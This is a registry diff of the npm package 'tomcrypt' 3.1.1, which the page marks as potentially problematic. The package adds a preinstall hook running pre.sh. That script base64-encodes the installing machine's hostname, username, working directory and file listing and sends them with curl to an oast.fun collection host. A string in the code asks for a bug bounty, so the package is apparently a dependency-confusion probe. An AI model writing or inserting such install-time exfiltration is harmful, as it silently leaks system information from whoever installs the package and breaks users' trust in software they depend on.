tomcrypt 3.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of tomcrypt might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = require('src/print');
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "tomcrypt",
3
+ "version": "3.1.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "./pre.sh"
9
+ },
10
+ "author": "1hackur",
11
+ "license": "ISC",
12
+ "devDependencies": {
13
+ "chai": "^3.5.0"
14
+ }
15
+ }
package/pre.sh ADDED
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64) http://ccrrzme2vtc0000mdfh0ggccx4ryyyyyb.oast.fun
package/src/print.js ADDED
@@ -0,0 +1,3 @@
1
+ module.exports = function print(){
2
+ return 'Reward a Bounty H1 @hackur';
3
+ }
package/tests/print.js ADDED
@@ -0,0 +1,10 @@
1
+ var chai = require('chai');
2
+ var expect = chai.expect;
3
+ var print = require('../src/print');
4
+
5
+ describe('print', function() {
6
+ it('print() should return string that contains \'demo package\'', function() {
7
+ var text = print();
8
+ expect(text).to.have.string('demo package');
9
+ });
10
+ });